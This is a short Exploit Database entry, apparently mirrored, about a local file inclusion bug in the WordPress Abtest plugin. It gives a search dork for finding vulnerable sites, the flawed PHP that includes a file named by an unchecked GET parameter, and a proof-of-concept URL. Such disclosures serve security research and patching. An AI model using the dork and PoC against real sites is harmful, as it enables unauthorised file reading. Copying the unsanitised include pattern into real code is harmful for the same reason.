WordPress Plugin Abtest – Local File Inclusion

• Exploit Database
• 11 阅读

• 作者： CrashBandicot
  日期： 2016-03-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39577/

• # Exploit Title: WordPress Plugin Abtest - Local File Inclusion
  # Date: 2016-03-19
  # Google Dork : inurl:/wp-content/plugins/abtest/
  # Exploit Author: CrashBandicot
  # Vendor Homepage: https://github.com/wp-plugins/abtest
  # Tested on: Chrome
  
  
  # Vulnerable File : abtest_admin.php
   
  <?php 
  
  require 'admin/functions.php'; 
  
  if (isset($_GET['action'])) {
  
  include 'admin/' . $_GET['action'] . '.php';
  
  } else {
  
   include 'admin/list_experiments.php'; 
  }
  ?>
  
  # PoC : localhost/wp-content/plugins/abtest/abtest_admin.php?action=[LFI]
   
  # Pics : http://i.imgur.com/jZFKYOc.png